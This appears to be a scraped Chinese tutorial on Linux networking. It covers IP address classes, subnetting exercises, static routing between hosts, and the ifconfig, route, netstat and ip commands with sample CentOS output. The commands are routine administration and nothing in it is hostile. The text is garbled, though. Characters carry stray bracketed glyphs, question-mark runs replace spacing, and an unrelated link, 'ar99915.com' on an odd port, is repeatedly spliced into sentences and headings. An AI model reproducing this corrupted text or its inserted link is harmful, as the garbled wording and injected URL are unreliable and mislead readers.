State ?????Recv-Q ??Send-Q ??Local Address:Port ?Peer Address:Port 
???
LISTEN ?????0 ?????128 ???????0.0.0.0:22 ?????0.0.0.0:* ?
????
LISTEN ?????0 ?????100 ??????127.0.0.1:25 ?????0.0.0.0:*

3.6IP地址

IP地址組成
它們可唯一標(biāo)識(shí) IP 網(wǎng)絡(luò)中的每臺(tái)設(shè)備 ,每臺(tái)主機(jī)(計(jì)算機(jī)、網(wǎng)絡(luò)設(shè)備、外圍設(shè)備)必須具有唯一的地址
IP地址由兩部分組成
????????網(wǎng)絡(luò) ID:標(biāo)識(shí)網(wǎng)絡(luò),每個(gè)網(wǎng)段分配一個(gè)網(wǎng)絡(luò)ID,處于高位
????????主機(jī) ID:標(biāo)識(shí)單個(gè)主機(jī),由組織分配給各設(shè)備,處于低位
IPv4地址格式:點(diǎn)分十進(jìn)制記法https://ar99915.com:29875/,網(wǎng)絡(luò)協(xié)議,網(wǎng)絡(luò)

3.6.1IP地址分類?

https://ar99915.com:29875/,網(wǎng)絡(luò)協(xié)議,網(wǎng)絡(luò)

?A類:
????????0 0000000 - 0 1111111.X.Y.Z : 0-127.X.Y.Z
????????網(wǎng)絡(luò)ID位是最高8位,主機(jī)ID是24位低位
????????網(wǎng)絡(luò)數(shù):126=2^7(可變是的網(wǎng)絡(luò)ID位數(shù))-2
????????每個(gè)網(wǎng)絡(luò)中的主機(jī)數(shù):2^24-2=16777214
????????默認(rèn)子網(wǎng)掩碼:255.0.0.0
????????私網(wǎng)地址:10.0.0.0
????????范例:114.114.114.114,8.8.8.8,1.1.1.1,123.56.174.200,119.29.29.29

B類:
????????10 000000 - 10 111111.X.Y.Z:128-191.X.Y.Z
????????網(wǎng)絡(luò)ID位是最高16位,主機(jī)ID是16位低位
????????網(wǎng)絡(luò)數(shù):2^14=16384
????????每個(gè)網(wǎng)絡(luò)中的主機(jī)數(shù):2^16-2=65534
????????默認(rèn)子網(wǎng)掩碼:255.255.0.0

????????私網(wǎng)地址:172.16.0.0-172.31.0.0
????????范例:180.76.76.76,172.16.0.1

C類:
????????110 0 0000 - 110 1 1111.X.Y.Z: 192-223.X.Y.Z
????????網(wǎng)絡(luò)ID位是最高24位,主機(jī)ID是8位低位
????????網(wǎng)絡(luò)數(shù):2^21=2097152
????????每個(gè)網(wǎng)絡(luò)中的主機(jī)數(shù):2^8-2=254
????????默認(rèn)子網(wǎng)掩碼:255.255.255.0
????????私網(wǎng)地址:192.168.0.0-192.168.255.0
????????范例: 223.6.6.6,223.5.5.5

D類:組(多)播,1110 0000 - 1110 1111.X.Y.Z: 224-239.X.Y.Z

E類:保留未使用,240-255

3.6.2公共和私有IP地址

私有IP地址:不直接用于互聯(lián)網(wǎng),通常在局域網(wǎng)中使用https://ar99915.com:29875/,網(wǎng)絡(luò)協(xié)議,網(wǎng)絡(luò)

公共IP地址:互聯(lián)網(wǎng)上設(shè)備擁有的唯一地址

https://ar99915.com:29875/,網(wǎng)絡(luò)協(xié)議,網(wǎng)絡(luò)?3.6.3特殊地址

????????0.0.0.0
????????0.0.0.0不是一個(gè)真正意義上的IP地址。它表示所有不清楚的主機(jī)和目的網(wǎng)絡(luò)
????????255.255.255.255
????????限制廣播地址。對本機(jī)來說,這個(gè)地址指本網(wǎng)段內(nèi)(同一廣播域)的所有主機(jī)
????????127.0.0.1~127.255.255.254
????????本機(jī)回環(huán)地址,主要用于測試。在傳輸介質(zhì)上永遠(yuǎn)不應(yīng)該出現(xiàn)目的地址為“127.0.0.1”的 數(shù)據(jù)包
? ? ? ? 224.0.0.0到239.255.255.255
????????組播地址,224.0.0.1特指所有主機(jī),224.0.0.2特指所有路由器。224.0.0.5指OSPF 路由器,地址多用于一些特定的程序以及多媒體程序
????????169.254.x.x
????????如果Windows主機(jī)使用了DHCP自動(dòng)分配IP地址,而又無法從DHCP服務(wù)器獲取地址,系統(tǒng)會(huì)為主機(jī)分配這樣地址

?3.6.4保留地址

例:
172.16.0.0 網(wǎng)絡(luò)中的兩個(gè)地址:172.16.0.0 172.16.255.255

https://ar99915.com:29875/,網(wǎng)絡(luò)協(xié)議,網(wǎng)絡(luò)

?3.6.5子網(wǎng)掩碼

CIDR:無類域間路由,目前的網(wǎng)絡(luò)已不再按A,B,C類劃分網(wǎng)段,可以任意指定網(wǎng)段的范圍
CIDR 無類域間路由表示法:IP/網(wǎng)絡(luò)ID位數(shù),如:172.16.0.100/16
netmask子網(wǎng)掩碼:32位或128位(IPv6)的數(shù)字,和IP成對使用,用來確認(rèn)IP地址中的網(wǎng)絡(luò)ID和主機(jī)ID,對應(yīng)網(wǎng)絡(luò)ID的位為1,對應(yīng)主機(jī)ID的位為0,范例:255.255.255.0 ,表現(xiàn)為連續(xù)的高位為1,連續(xù)的低位為0https://ar99915.com:29875/,網(wǎng)絡(luò)協(xié)議,網(wǎng)絡(luò)

?子網(wǎng)掩碼的八位https://ar99915.com:29875/,網(wǎng)絡(luò)協(xié)議,網(wǎng)絡(luò)

#相關(guān)公式:
    一個(gè)網(wǎng)絡(luò)的最多的主機(jī)數(shù) =2 ^ 主機(jī)ID位數(shù) - 2
    網(wǎng)絡(luò)(段)數(shù) = 2 ^ 網(wǎng)絡(luò)ID中可變的位數(shù)
    網(wǎng)絡(luò)ID = IP 與 netmask


#判斷對方主機(jī)是否在同一個(gè)網(wǎng)段:
用自已的子網(wǎng)掩碼分別和自已的IP及對方的IP相與,比較結(jié)果,相同則同一網(wǎng)絡(luò),不同則不同網(wǎng)段


#例:
netmask: 255.255.224.0,網(wǎng)絡(luò)ID位:19 主機(jī)ID位:13,主機(jī)數(shù)=2^13-2=8190


#例:判斷A和B是否在網(wǎng)一個(gè)網(wǎng)段?
A: 192.168.1.100 netmask:255.255.255.0
B: 192.168.2.100 netmask:255.255.0.0


#例:一個(gè)主機(jī):172.16.1.100/28
1、此主機(jī)所在的網(wǎng)段最多有多少主機(jī)?主機(jī)數(shù)=2^(32-28)-2=14
2、網(wǎng)絡(luò)ID? IP和子網(wǎng)掩碼相與,172.16.1.96
3、此網(wǎng)段的主機(jī)中最小的IP:172.16.1.97,最大的IP?172.16.1.110

?3.7劃分子網(wǎng)

劃分子網(wǎng):將一個(gè)大的網(wǎng)絡(luò)(主機(jī)數(shù)多)劃分成多個(gè)小的網(wǎng)絡(luò)(主機(jī)數(shù)少),主機(jī)ID位數(shù)變少,網(wǎng)絡(luò)ID位數(shù)變多,網(wǎng)絡(luò)ID位向主機(jī)ID位借n位,將劃分2^n個(gè)子網(wǎng)

https://ar99915.com:29875/,網(wǎng)絡(luò)協(xié)議,網(wǎng)絡(luò)

可變長度子網(wǎng)掩碼

https://ar99915.com:29875/,網(wǎng)絡(luò)協(xié)議,網(wǎng)絡(luò)

Subnet地址https://ar99915.com:29875/,網(wǎng)絡(luò)協(xié)議,網(wǎng)絡(luò)?

#例:
中國移動(dòng)10.0.0.0/8 給32個(gè)各省公司劃分對應(yīng)的子網(wǎng)
1)每個(gè)省公司的子網(wǎng)的netmask?
2^5>=32 借5位網(wǎng)絡(luò)ID
8+5=13
255.248.0.0
2)每個(gè)省公司的子網(wǎng)的主機(jī)數(shù)有多少?
2^(32-13)-2=524286
3)河南省得到第10個(gè)子網(wǎng),網(wǎng)絡(luò)ID?
10.00000 000.0.0/13
10.01001 000.0.0/13
10.72.0.0/13
4)河南省得到第10個(gè)子網(wǎng)的最小IP和最大的IP?
10.01001 000.0.1
10.01001 111.11111111.11111110
10.72.0.1---10.79.255.254
5)所有子網(wǎng)中最大,最小的子網(wǎng)的netid?
10.00000 000.0.0/13 10.0.0.0/13
10.11111 000.0.0/13 10.248.0.0/13

3.7.1優(yōu)化IP地址分配

https://ar99915.com:29875/,網(wǎng)絡(luò)協(xié)議,網(wǎng)絡(luò)

?https://ar99915.com:29875/,網(wǎng)絡(luò)協(xié)議,網(wǎng)絡(luò)

#例:
 8個(gè)C類網(wǎng)段
220.78.168.0/24
220.78.169.0/24
220.78.170.0/24
220.78.171.0/24
220.78.172.0/24
220.78.173.0/24
220.78.174.0/24
220.78.175.0/24
220.78.10101 000.0 ?220.78.168.0/24
220.78.10101 001.0 ?220.78.169.0/24
220.78.10101 010.0 ?220.78.170.0/24
......
220.78.10101 110.0 ?220.78.174.0/24
220.78.10101 111.0 ?220.78.175.0/24

#合并成一個(gè)大網(wǎng)
220.78.168.0/21

?3.7.2?跨網(wǎng)絡(luò)通信

跨網(wǎng)絡(luò)通信:路由,選擇路徑
路由分類:
????????主機(jī)路由
????????網(wǎng)絡(luò)路由
????????默認(rèn)路由
優(yōu)先級(jí):精度越高,優(yōu)先級(jí)越高

3.7.3動(dòng)態(tài)主機(jī)配置協(xié)議 DHCP

https://ar99915.com:29875/,網(wǎng)絡(luò)協(xié)議,網(wǎng)絡(luò)

4 網(wǎng)絡(luò)配置

4.1 基本網(wǎng)絡(luò)配置

將Linux主機(jī)接入到網(wǎng)絡(luò),需要配置網(wǎng)絡(luò)相關(guān)設(shè)置
一般包括如下內(nèi)容:
????????主機(jī)名
????????IP/netmask
????????路由:默認(rèn)網(wǎng)關(guān)
????????DNS服務(wù)器
????????主DNS服務(wù)器
????????次DNS服務(wù)器
????????第三個(gè)DNS服務(wù)器?

4.2 網(wǎng)卡名稱

#CentOS6
#網(wǎng)絡(luò)接口識(shí)別并命名相關(guān)的udev配置文件
/etc/udev/rules.d/70-persistent-net.rules



#查看網(wǎng)卡:
dmesg |grep –i eth
ethtool -i eth0


#卸載網(wǎng)卡驅(qū)動(dòng):
modprobe -r e1000
rmmod e1000


#裝載網(wǎng)卡驅(qū)動(dòng):
modprobe e1000


#例:臨時(shí)修改網(wǎng)卡名稱
[root@centos6 ~]#ip link set eth0 down
[root@centos6 ~]#ip link set eth0 name abc
[root@centos6 ~]#ip link set abc up


4.2.2 CentOS 7 以上版網(wǎng)絡(luò)配置

CentOS 6之前,網(wǎng)絡(luò)接口使用連續(xù)號(hào)碼命名:eth0、eth1等,當(dāng)增加或刪除網(wǎng)卡時(shí),名稱可能會(huì)發(fā)生變化
CentOS 7 以上版使用基于硬件,設(shè)備拓?fù)浜驮O(shè)置類型命名,可以保持網(wǎng)卡名稱的穩(wěn)定
CentOS 8 中已棄用network.service,采用NetworkManager(NM)為網(wǎng)卡啟用命令。CentOS 8 仍可
以安裝network.service作為網(wǎng)卡服務(wù),只是默認(rèn)沒有安裝,具體方法為: dnf install network-
scripts ,不過官方已明確在下一個(gè)大版本中,將徹底放棄network.service,不建議繼續(xù)使用
network.service管理網(wǎng)絡(luò)。

systemd對網(wǎng)絡(luò)設(shè)備的命名方式:

1. 如果Firmware或BIOS為主板上集成的設(shè)備提供的索引信息可用,且可預(yù)測則根據(jù)此索引進(jìn)行命
名,如:eno1
2. 如果Firmware或BIOS為PCI-E擴(kuò)展槽所提供的索引信息可用,且可預(yù)測,則根據(jù)此索引進(jìn)行命名,如:ens1
3. 如果硬件接口的物理位置信息可用,則根據(jù)此信息命名,如:enp2s0
4. 如果用戶顯式啟動(dòng),也可根據(jù)MAC地址進(jìn)行命名,如:enx2387a1dc56
5. 上述均不可用時(shí),則使用傳統(tǒng)命名機(jī)制

基于BIOS支持啟用biosdevname軟件

#內(nèi)置網(wǎng)卡:em1,em2 
pci卡:pYpX Y:slot ,X:port


#網(wǎng)卡組成格式
en: Ethernet 有線局域網(wǎng)
wl: wlan 無線局域網(wǎng)
ww: wwan無線廣域網(wǎng)
o<index>: 集成設(shè)備的設(shè)備索引號(hào)
s<slot>: 擴(kuò)展槽的索引號(hào)
x<MAC>: 基于MAC地址的命名
p<bus>s<slot>: enp2s1


#使用傳統(tǒng)命名方式:
(1) 編輯/etc/default/grub配置文件
GRUB_CMDLINE_LINUX="net.ifnames=0 biosdevname=0"

(2) 為grub2生成其配置文件
On a system with UEFI boot mode:
# grub2-mkconfig -o /boot/efi/EFI/redhat/grub.cfg

On a system with legacy boot mode:
# grub2-mkconfig -o /boot/grub2/grub.cfg
# grub2-mkconfig -o /etc/grub2.cfg

(3) 重啟系統(tǒng)
reboot

#自定義網(wǎng)卡名
GRUB_CMDLINE_LINUX="... net.ifnames.prefix=<required prefix>"


#例: 自定義網(wǎng)卡名
[root@centos8 ~]# vi /etc/default/grub
GRUB_CMDLINE_LINUX="net.ifnames.prefix=xin"
[root@centos8 ~]# grub2-mkconfig -o /boot/grub2/grub.cfg
[root@centos8 ~]# reboot
[root@centos8 ~]# ip link
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT
group default qlen 1000
?link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
。。。。。

4.3 網(wǎng)絡(luò)配置命令

4.3.1 主機(jī)名

#設(shè)置主機(jī)名:
hostnamectl set-hostname centos7.baidu.com
hostname
hostnamectl status

4.3.2 網(wǎng)絡(luò)配置方式

#靜態(tài)指定:
ifconfig, route, netstat
ip: object {link, addr, route}, ss, tc
system-config-network-tui,setup
配置文件

#動(dòng)態(tài)分配:
DHCP: Dynamic Host Configuration Protocol

4.3.3 ifconfig 命令

#來自于net-tools包,建議使用 ip 代替
[root@centos8 ~]#rpm -qi net-tools
Name ???: net-tools
Version ??: 2.0
Release ??: 0.51.20160912git.el8
Architecture: x86_64
Install Date: Tue 21 Apr 2020 05:10:33 PM CST
。。。。


#例:
ifconfig [interface]
ifconfig -a
ifconfig IFACE [up|down]
ifconfig interface [aftype] options | address ...
ifconfig IFACE IP/netmask [up]
ifconfig IFACE IP netmask NETMASK
啟用混雜模式:[-]promisc

#注意:此命令執(zhí)行后會(huì)立即生效

#例:
[root@centos8 ~]#ifconfig eth0 10.0.0.68 netmask 255.255.0.0

#清除eth0上面的IP地址
[root@centos8 ~]#ifconfig eth0 0.0.0.0

#啟用和禁用網(wǎng)卡
[root@centos8 ~]#ifconfig eth0 down
[root@centos8 ~]#ifconfig eth0 up

#對一個(gè)網(wǎng)卡設(shè)置多個(gè)IP地址
[root@centos8 ~]#ifconfig eth0:1 172.16.0.8/24
[root@centos8 ~]#ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
???inet 10.0.0.8 netmask 255.0.0.0 broadcast 10.255.255.255
???inet6 fe80::20c:29ff:fe45:a8a1 prefixlen 64 scopeid 0x20<link>
???ether 00:0c:29:45:a8:a1 txqueuelen 1000 (Ethernet)
???RX packets 813 bytes 75898 (74.1 KiB)
???RX errors 0 dropped 0 overruns 0 frame 0
???TX packets 563 bytes 76262 (74.4 KiB)
???TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
eth0:1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
???inet 172.16.0.8 netmask 255.255.255.0 broadcast 172.16.0.255
???ether 00:0c:29:45:a8:a1 txqueuelen 1000 (Ethernet)
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
???inet 127.0.0.1 netmask 255.0.0.0
???inet6 ::1 prefixlen 128 scopeid 0x10<host>
。。。。

[root@centos8 ~]#ifconfig eth0:1 down
[root@centos8 ~]#ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
???inet 10.0.0.8 netmask 255.0.0.0 broadcast 10.255.255.255
???inet6 fe80::20c:29ff:fe45:a8a1 prefixlen 64 scopeid 0x20<link>
???ether 00:0c:29:45:a8:a1 txqueuelen 1000 (Ethernet)
???RX packets 864 bytes 80572 (78.6 KiB)
???RX errors 0 dropped 0 overruns 0 frame 0
???TX packets 601 bytes 81681 (79.7 KiB)
???TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
???inet 127.0.0.1 netmask 255.0.0.0
???inet6 ::1 prefixlen 128 scopeid 0x10<host>
???loop txqueuelen 1000 (Local Loopback)
???RX packets 2 bytes 140 (140.0 B)
???RX errors 0 dropped 0 overruns 0 frame 0
???TX packets 2 bytes 140 (140.0 B)
???TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0



#里:
[root@centos8 ~]#ifconfig -s
Iface ??MTU ?RX-OK RX-ERR RX-DRP RX-OVR ?TX-OK TX-ERR TX-DRP TX-OVR Flg
eth0 ??????1500 ?673005 ???0 ???0 0 ????672688 ???0 ???0 ??0 BMRU
lo ??????  ?65536 ???70 ???0 ???0 0 ??????70 ??  ?0 ???0 ??0 LRU

[root@centos8 ~]#ifconfig -s eth0
Iface ??MTU ?RX-OK RX-ERR RX-DRP RX-OVR ?TX-OK TX-ERR TX-DRP TX-OVR Flg
eth0 ??????1500 ?673011 ???0 ???0 0 ????672694 ???0 ???0 ??0 BMRU

4.3.4 route 命令

路由表管理命令:

路由表主要構(gòu)成:
????????Destination: 目標(biāo)網(wǎng)絡(luò)ID,表示可以到達(dá)的目標(biāo)網(wǎng)絡(luò)ID,0.0.0.0/0 表示所有未知網(wǎng)絡(luò),又稱為默認(rèn)路由,優(yōu)先級(jí)最低
????????Genmask:目標(biāo)網(wǎng)絡(luò)對應(yīng)的netmask
????????Iface: 到達(dá)對應(yīng)網(wǎng)絡(luò),應(yīng)該從當(dāng)前主機(jī)哪個(gè)網(wǎng)卡發(fā)送出來
????????Gateway: 到達(dá)非直連的網(wǎng)絡(luò),將數(shù)據(jù)發(fā)送到臨近(下一個(gè))路由器的臨近本主機(jī)的接口的IP地址,如果是直連網(wǎng)絡(luò),gateway是0.0.0.0
????????Metric: 開銷cost,值越小,路由記錄的優(yōu)先級(jí)最高

#查看路由表
route
route -n


#例:
[root@centos8 ~]#route
Kernel IP routing table
Destination ??Gateway ????Genmask ????Flags Metric Ref ?Use Iface
default ????_gateway ????0.0.0.0 ????UG ??100 ??0 ????0 eth0
10.0.0.0 ????0.0.0.0 ????255.255.255.0 ?U ??100 ??0 ????0 eth0
[root@centos8 ~]#route -n
Kernel IP routing table
Destination ??Gateway ????Genmask ????Flags Metric Ref ?Use Iface
0.0.0.0 ????10.0.0.2 ????0.0.0.0 ????UG ??100 ??0 ????0 eth0
10.0.0.0 ????0.0.0.0 ????255.255.255.0 ?U ??100 ??0 ????0 eth0



#添加路由:route add
route add [-net|-host|default] target [netmask Nm] [gw GW] [[dev] If]

#刪除路由:route del
route del [-net|-host] target [gw Gw] [netmask Nm] [[dev] If]


#例:
#目標(biāo):192.168.1.3 網(wǎng)關(guān):172.16.0.1
route add -host 192.168.1.3 gw 172.16.0.1 dev eth0

#目標(biāo):192.168.0.0 網(wǎng)關(guān):172.16.0.1
route add -net 192.168.0.0 netmask 255.255.255.0 gw 172.16.0.1 dev eth0
route add -net 192.168.0.0/24 gw 172.16.0.1 dev eth0
route add -net 192.168.8.0/24 dev eth1 metric 200

#默認(rèn)路由,網(wǎng)關(guān):172.16.0.1
route add -net 0.0.0.0 netmask 0.0.0.0 gw 172.16.0.1
route add -net 0.0.0.0/0 gw 172.16.0.1
route add default gw 172.16.0.1

#目標(biāo):192.168.1.3 網(wǎng)關(guān):172.16.0.1
route del -host 192.168.1.3

#目標(biāo):192.168.0.0 網(wǎng)關(guān):172.16.0.1
route del -net 192.168.0.0 netmask 255.255.255.0

例:實(shí)現(xiàn)靜態(tài)路由

https://ar99915.com:29875/,網(wǎng)絡(luò)協(xié)議,網(wǎng)絡(luò)

#基礎(chǔ)環(huán)境:
四臺(tái)主機(jī):
A主機(jī):eth0 NAT模式
R1主機(jī):eth0 NAT模式,eth1 僅主機(jī)模式
R2主機(jī):eth0 橋接模式,eth1 僅主機(jī)模式
B主機(jī):eth0 橋接模式


#配置A主機(jī)
ifconfig eth0 10.0.0.123/8
route add -net 10.0.0.0/8 dev eth0
route add default gw 10.0.0.200 dev eth0
#配置R1
ifconfig eth0 10.0.0.200/8
ifconfig eth1 192.168.0.200/24
route add -net 10.0.0.0/8 dev eth0
route add -net 192.168.0.0/24 dev eth1
route add -net 172.16.0.0/16 gw 192.168.0.201 dev eth1
echo 1 > /proc/sys/net/ipv4/ip_forward
#配置R2
ifconfig eth0 172.16.0.200/16
ifconfig eth1 192.168.0.201/24
route add -net 192.168.0.0/24 dev eth1
route add -net 172.16.0.0/16 dev eth0
route add -net 10.0.0.0/8 gw 10.0.0.200 dev eth1
echo 1 > /proc/sys/net/ipv4/ip_forward
#配置B
ifconfig eth0 172.16.0.123/16
route add -net 172.16.0.0/16 dev eth0
route add default gw 172.16.0.200 dev eth0


#例:
[root@router ~]#echo 1 > /proc/sys/net/ipv4/ip_forward

https://ar99915.com:29875/,網(wǎng)絡(luò)協(xié)議,網(wǎng)絡(luò)

?4.3.5 配置動(dòng)態(tài)路由

通過守護(hù)進(jìn)程獲取動(dòng)態(tài)路由,安裝quagga包,通過命令vtysh配置
支持多種路由協(xié)議:
????????RIP:Routing Information Protocol,路由信息協(xié)議
????????OSPF:Open Shortest Path First,開放式最短路徑優(yōu)先
????????BGP:Border Gateway Protocol,邊界網(wǎng)關(guān)協(xié)議

4.3.6 netstat 命令

來自于net-tools包,建議使用 ss 代替

#顯示網(wǎng)絡(luò)連接:
netstat [--tcp|-t] [--udp|-u] [--raw|-w] [--listening|-l] [--all|-a] [--numeric|-
n] [--extend|-e[--extend|-e]] [--program|-p]

#常用選項(xiàng):
-t: tcp協(xié)議相關(guān)
-u: udp協(xié)議相關(guān)
-w: raw socket相關(guān)
-l: 處于監(jiān)聽狀態(tài)
-a: 所有狀態(tài)
-n: 以數(shù)字顯示IP和端口
-e:擴(kuò)展格式
-p: 顯示相關(guān)進(jìn)程及PID

#常用組合:
-tan, -uan, -tnl, -unl


#顯示路由表:
netstat {--route|-r} [--numeric|-n]
-r: 顯示內(nèi)核路由表
-n: 數(shù)字格式


#例: 統(tǒng)計(jì)網(wǎng)絡(luò)信息
[root@centos8 ~]#netstat -s
Ip:
?Forwarding: 2
??88 total packets received
??0 forwarded
??0 incoming packets discarded
??88 incoming packets delivered
68 requests sent out
??148 dropped because of missing route
Icmp:
??0 ICMP messages received
??0 input ICMP message failed
?ICMP input histogram:
??0 ICMP messages sent
??0 ICMP messages failed
?ICMP output histogram:
Tcp:
??0 active connection openings
??1 passive connection openings
??0 failed connection attempts
??0 connection resets received
??1 connections established
??70 segments received
??50 segments sent out
??0 segments retransmitted
??0 bad segments received
??0 resets sent
Udp:
??18 packets received
??0 packets to unknown port received
??0 packet receive errors
??18 packets sent
??0 receive buffer errors
??0 send buffer errors
UdpLite:
TcpExt:
??1 delayed acks sent
??26 packet headers predicted
??14 acknowledgments not containing data payload received
??19 predicted acknowledgments
?TCPRcvCoalesce: 5
?TCPOrigDataSent: 40
?TCPDelivered: 39
IpExt:
?InOctets: 8882
?OutOctets: 9803
?InNoECTPkts: 89
MPTcpExt:

4.3.7 顯示接口統(tǒng)計(jì)數(shù)據(jù)

netstat {--interfaces|-I|-i} [iface] [--all|-a] [--extend|-e] [--program|-p] [--
numeric|-n]
netstat -i
netstat –I=IFACE
ifconfig -s IFACE


#例:
[root@centos8 ~]#netstat -Ieth0
Kernel Interface table
Iface ??????MTU ?RX-OK RX-ERR RX-DRP RX-OVR ?TX-OK TX-ERR TX-DRP TX-OVR
Flg
eth0 ??????1500 ??4660 ???0 ???0 0 ?????2460 ???0 ???0 ? 0 BMRU
[root@centos8 ~]#ifconfig -s eth0
Iface ??MTU ?RX-OK RX-ERR RX-DRP RX-OVR ?TX-OK TX-ERR TX-DRP TX-OVR Flg
eth0 ??????1500 ??4745 ???0 ???0 0 ?????2518 ???0 ???0 ??0 BMRU
[root@centos8 ~]#netstat -nt
Active Internet connections (w/o servers)
Proto Recv-Q Send-Q Local Address ?????Foreign Address ????State ??
tcp ????0 ??52 10.0.0.8:22 ??????10.0.0.1:4927 ?????ESTABLISHED

4.3.8 ip命令

#來自于iproute包,可用于代替ifconfig


##配置Linux網(wǎng)絡(luò)屬性
ip [ OPTIONS ] OBJECT { COMMAND | help }



#ip 命令說明:
OBJECT := { link | addr | route }
ip link - network device configuration
set dev IFACE,可設(shè)置屬性:up and down:激活或禁用指定接口,相當(dāng)于 ifup/ifdown
show [dev IFACE] [up]::指定接口 ,up 僅顯示處于激活狀態(tài)的接口

man幫助:ip(8), ip-address(8), ip-link(8), ip-route(8)


#例: 查看幫助
[root@centos8 ~]#ip help
Usage: ip [ OPTIONS ] OBJECT { COMMAND | help }
???ip [ -force ] -batch filename
where OBJECT := { link | address | addrlabel | route | rule | neigh | ntable |
?????????tunnel | tuntap | maddress | mroute | mrule | monitor | xfrm
|
?????????netns | l2tp | fou | macsec | tcp_metrics | token | netconf |
ila |
?????????vrf | sr | nexthop }
???OPTIONS := { -V[ersion] | -s[tatistics] | -d[etails] | -r[esolve] |
??????????-h[uman-readable] | -iec | -j[son] | -p[retty] |
??????????-f[amily] { inet | inet6 | mpls | bridge | link } |
??????????-4 | -6 | -I | -D | -M | -B | -0 |
??????????-l[oops] { maximum-addr-flush-attempts } | -br[ief] |
??????????-o[neline] | -t[imestamp] | -ts[hort] | -b[atch] [filename]
|
??????????-rc[vbuf] [size] | -n[etns] name | -N[umeric] | -a[ll] |
??????????-c[olor]}
。。。。

[root@centos8 ~]#ip link help
Usage: ip link add [link DEV] [ name ] NAME

[root@centos8 ~]#ip addr help
Usage: ip address {add|change|replace} IFADDR dev IFNAME [ LIFETIME ]
??????????????????????????[ CONFFLAG-LIST ]
???ip address del IFADDR dev IFNAME [mngtmpaddr]
???ip address {save|flush} [ dev IFNAME ] [ scope SCOPE-ID ]
。。。。

[root@centos8 ~]#ip route help
Usage: ip route { list | flush } SELECTOR
???ip route save SELECTOR
???ip route restore
???ip route showdump
???ip route get [ ROUTE_GET_FLAGS ] ADDRESS
。。。。


#ip 地址管理
ip addr { add | del } IFADDR dev STRING [label LABEL] [scope {global|link|host}]
[broadcast ADDRESS]

[label LABEL]:添加地址時(shí)指明網(wǎng)卡別名
[scope {global|link|host}]:指明作用域,global: 全局可用.link: 僅鏈接可用,host: 本機(jī)可用
[broadcast ADDRESS]:指明廣播地址

ip address show
ip addr flush 
#禁用網(wǎng)卡
ip link set eth1 down

#網(wǎng)卡改名
ip link set eth1 name xinnet 

#啟用網(wǎng)卡
ip link set xinnet up

#網(wǎng)卡別名
ip addr add 172.16.100.100/16 dev eth0 label eth0:0
ip addr del 172.16.100.100/16 dev eth0 label eth0:0

#清除網(wǎng)絡(luò)地址
ip addr flush dev eth0


#例: 增加網(wǎng)卡別名實(shí)現(xiàn)一個(gè)網(wǎng)卡多個(gè)IP
[root@centos8 ~]#ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group
default qlen 1000
?link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
?inet 127.0.0.1/8 scope host lo
???valid_lft forever preferred_lft forever
。。。。


[root@centos8 ~]#ip address add 10.0.0.18/24 dev eth0 label eth0:1
[root@centos8 ~]#ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group
default qlen 1000
?link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
?inet 127.0.0.1/8 scope host lo
???valid_lft forever preferred_lft forever
?inet6 ::1/128 scope host
???valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP
group default qlen 1000
?link/ether 00:0c:29:8a:51:21 brd ff:ff:ff:ff:ff:ff
?inet 10.0.0.8/24 brd 10.0.0.255 scope global noprefixroute eth0
???valid_lft forever preferred_lft forever
?inet 10.0.0.18/24 scope global secondary eth0:1
???valid_lft forever preferred_lft forever
?inet6 fe80::20c:29ff:fe8a:5121/64 scope link
???valid_lft forever preferred_lft forever



[root@centos8 ~]#ip address del 10.0.0.18/24 dev eth0 label eth0:1
[root@centos8 ~]#ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group
default qlen 1000
?link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
?inet 127.0.0.1/8 scope host lo
???valid_lft forever preferred_lft forever
?inet6 ::1/128 scope host
???valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP
group default qlen 1000
?link/ether 00:0c:29:8a:51:21 brd ff:ff:ff:ff:ff:ff
?inet 10.0.0.8/24 brd 10.0.0.255 scope global noprefixroute eth0
???valid_lft forever preferred_lft forever
?inet6 fe80::20c:29ff:fe8a:5121/64 scope link
???valid_lft forever preferred_lft forever



#例: 修改IP
[root@centos8 ~]#ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group
default qlen 1000
。。。。

#先加新IP,再刪除舊的IP
[root@centos8 ~]#ip address add 10.0.0.88/24 dev eth0
[root@centos8 ~]#ip address del 10.0.0.8/24 dev eth0
[root@centos8 ~]#ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group
default qlen 1000
?link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
?inet 127.0.0.1/8 scope host lo
???valid_lft forever preferred_lft forever
?inet6 ::1/128 scope host
???valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP
group default qlen 1000
?link/ether 00:0c:29:8a:51:21 brd ff:ff:ff:ff:ff:ff
?inet 10.0.0.88/24 scope global eth0
???valid_lft forever preferred_lft forever
?inet6 fe80::20c:29ff:fe8a:5121/64 scope link
???valid_lft forever preferred_lft forever



#例:
[root@centos8 ~]#ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group
default qlen 1000
?link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
?inet 127.0.0.1/8 scope host lo
